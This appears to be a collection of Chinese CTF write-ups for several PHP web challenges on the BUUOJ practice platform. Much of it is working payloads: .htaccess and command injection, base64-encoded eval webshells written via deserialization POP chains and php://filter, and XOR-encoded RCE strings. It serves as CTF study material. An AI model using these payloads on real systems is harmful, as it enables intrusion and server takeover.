[羊城杯2020]easyphp
.htaccess绕过,利用反斜杠绕过字符串过滤,相当于直接写入到index.php的前面执行解析。
http://9fa046fa-29e2-4272-a1a0-9c7dfc9617f8.node3.buuoj.cn/?filename=.htaccess&content=php_value%20auto_prepend_fil%0Ae%20.htaccess%0A%23%3C?php%20system(%27cat%20/fla%27.%27g%27);?%3E
.htaccess相当于以下文件:
php_value auto_prepend_fil
e .htaccess
#<?php system('cat /fla'.'g');?>
Hello, world
[羊城杯 2020]Blackcat
下载MP3,010 Editor看音乐本身
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('Ë£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}
echo exec("nc".$_POST['One-ear']);
本地启动一个环境;
目标是过掉函数hash_hmac;这里我们使用数组绕过。
然后算出结果就行了。注意这里flag在环境变量中。
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=%3benv
[羊城杯 2020]Easyphp2
存在任意文件读取,似乎禁止了一堆过滤器,可惜没有禁止convert.quoted-printable-encode;所以我们可以得到GWHT.php的部分源码
<?php=0D=0A ini_set('max_execution_time', 5);=0D=0A=0D=0A if ($_COOKIE['pass'] !=3D=3D getenv('PASS')) {=0D=0A setcookie('pass', 'PASS');=0D=0A die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');=0D=0A }=0D=0A ?>=0D=0A=0D=0A <h1>A Counter is here, but it has someting wrong</h1>=0D=0A=0D=0A <form>=0D=0A <input type=3D"hidden" value=3D"GWHT.php" name=3D"file">=0D=0A <textarea style=3D"border-radius: 1rem;" type=3D"text" name=3D"count" rows=3D10 cols=3D50></textarea><br />=0D=0A <input type=3D"submit">=0D=0A </form>=0D=0A=0D=0A <?php=0D=0A if (isset($_GET["count"])) {=0D=0A $count =3D $_GET["count"];=0D=0A if(preg_match('/;|base64|rot13|base32|base16|<?php|#/i', $count)){=0D=0A die('hacker!');=0D=0A }=0D=0A echo "<h2>The Count is: " . exec('printf '' . $count . '' | wc -c') . "</h2>";=0D=0A }=0D=0A ?>=0D=0A=0D=0A</body>=0D=0A=0D=0A</html>
手动调整一下,让这个代码稍微能看
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf '' . $count . '' | wc -c') . "</h2>";
}
?>
先判断cookie,然后再执行count;
设置了一个执行时间,需要得到环境变量的值;
然后看看robots.txt文件,得到提示check.php,查看文件后得到密码为GWHT
然后我们构造payload,用tee命令把中间执行结果带出来到合适的文件中,就可以成功得到命令执行内容了。
/GWHT.php?count='+|+cat+/GWHT/README+|+tee+/tmp/info.txt+|+grep+'
实际上还可以写入shell,文件包含之后用蚁剑解决。
我们这回使用这个方法。
GET /GWHT.php?count='+|+echo+-n+"base6"+|+tee+-a+/tmp/b11.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
GET /GWHT.php?count='+|+echo+-n+"4%20-d"+|+tee+-a+/tmp/b12.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
GET /GWHT.php?count='+|+cat+/tmp/b11.txt+/tmp/b12.txt+|+tee+/tmp/b4x.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
GET /GWHT.php?count='+|+echo+"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4="+|+bash+/tmp/b4x.txt+|+tee+/tmp/real.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
http://4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn/?file=/tmp/real.txt
蚁剑连接,发现疑似flag,权限不够
/GWHT/system/of/a/down/flag.txt
在/GWHT/README中发现哈希值,somd5解密得到
877862561ba0162ce610dd8bf90868ad414f0ec6
GWHTCTF
应该需要使用su提权来读取,但是蚁剑的shell没法输入密码,很坑,所以就只能跳过这一步了,直接用env命令拿到flag
[羊城杯 2020]EasySer
robots.txt可以知道存在文件star1.php,进去之后发现是一个嵌套的百度
F12后看见要进入ser.php,那么我们换个协议进去,没想到这里使用http协议,没别的东西。。。
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
看起来是个反序列化,但是没入口点,查WP后知道原来有个入口点c。。。。离谱
写入Payload
c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}
连接上根目录找flag完事
[羊城杯 2020]Break The Wall
先拿到phpinfo,进行观察
然后发现flag在phpinfo里面有。。。不过这个显然不是正规的做法,不过可以先交上去
现在我们来看看正规的流程
首先判断能否用蚁剑的绕过disable_functions,发现没用
不过,我们现在拿到了wp,所以我们可以给蚁剑写个脚本来完成对版本低于7.4.8的利用。
这个脚本会上传到我的github上面,同时会申请push到AntSword插件的主分支上。
总之,然后我们直接调用/readflag,我们就会神奇的发现居然没用。。。其他的命令可以正常输入输出
直接改Payload为env,我们就会发现,这个有用。。。
[红明谷CTF 2021]write_shell
给了源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\^|\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
数组拆分Payload直接拿Shell,然后蚁剑连接拿flag
http://e8e77821-2213-4a9c-a75b-28fa1169fe41.node3.buuoj.cn/?action=upload&data[1]=%3C?ph&data[2]=p&data[3]=%0A&data[4]=eva&data[5]=l(%22eva&data[6]=l($%22.%22x5fPOST[cmd])%22.%22x3b%22&data[7]=)?%3E
Wallbreaker_Easy
蚁剑直接PHP7_GC_UAF,秒掉
不过也有正常的做法
[极客大挑战 2020]Greatphp
给了源代码
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/<?php|(|)|"|'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
应该是反序列化调用合适的参数来eval;这里需要绕过两个函数md5和sha1,而且这里是完全相等才能绕过;
不会了,查题解得知可以用Error触发原生类的__toString从而达到绕过的目的,两个对象不一样就行
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
[ISITDTU 2019]EasyPHP
给了源代码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[x00- 0-9'"`
amp;.,|[{_defgopsx7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>
字符种类数需要小于等于13
先拿phpinfo;这里用的是[极客大挑战 2019]RCE ME的Payload
_=(~%8F%97%8F%96%91%99%90)();
很多函数被过滤了,不过也有挺多没被过滤;我们先来scandir(".");
print_r(scandir('.'));
((~%9b%9c%9b%9b%9b%9b%9c)^(~%9b%8f%9b%9c%9c%9b%8f)^(~%8f%9e%96%96%8c%a0%9e))(((~%9b%9b%9b%9b%9b%9b%9c)^(~%9b%9b%9b%9c%a0%9b%8f)^(~%8c%9c%9e%96%a0%96%9e))(~%d1));
得到文件名n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
readfile或者show_source读取
show_source(end(scandir(.)));
((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
拿到flag
[EIS 2019]EzPOP
给了源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
考虑到__destruct,我们肯定是先套一个类A,然后再根据函数名set,我们套一个类B;
在类B的set方法中,我们需要绕过exit,这里我们用PHP伪协议convert.base64-decode来绕过。
那么payload基本算是已经出来了。
<?
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
$this->autosave = false;
$this->complete = 0;
$this->cache = array('11' => array('timestamp'=>'PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'));
}
}
class B {
public $options;
public function __construct($serialize,$data_compress,$expire,$prefix){
$this->options = array();
$this->options['serialize'] = $serialize;
$this->options['data_compress'] = $data_compress;
$this->options['expire'] = $expire;
$this->options['prefix'] = $prefix;
}
}
$ts = new B('strval',false,0,'php://filter/write=convert.base64-decode/resource=');
$tx = new A($ts,'init3.php',11);
print_r(urlencode(serialize($tx)));
echo "<br />";
print_r(serialize($tx));
?>
注意这个base64是4个一组的,需要拼凑数量。
连接shell,拿flag
Comments NOTHING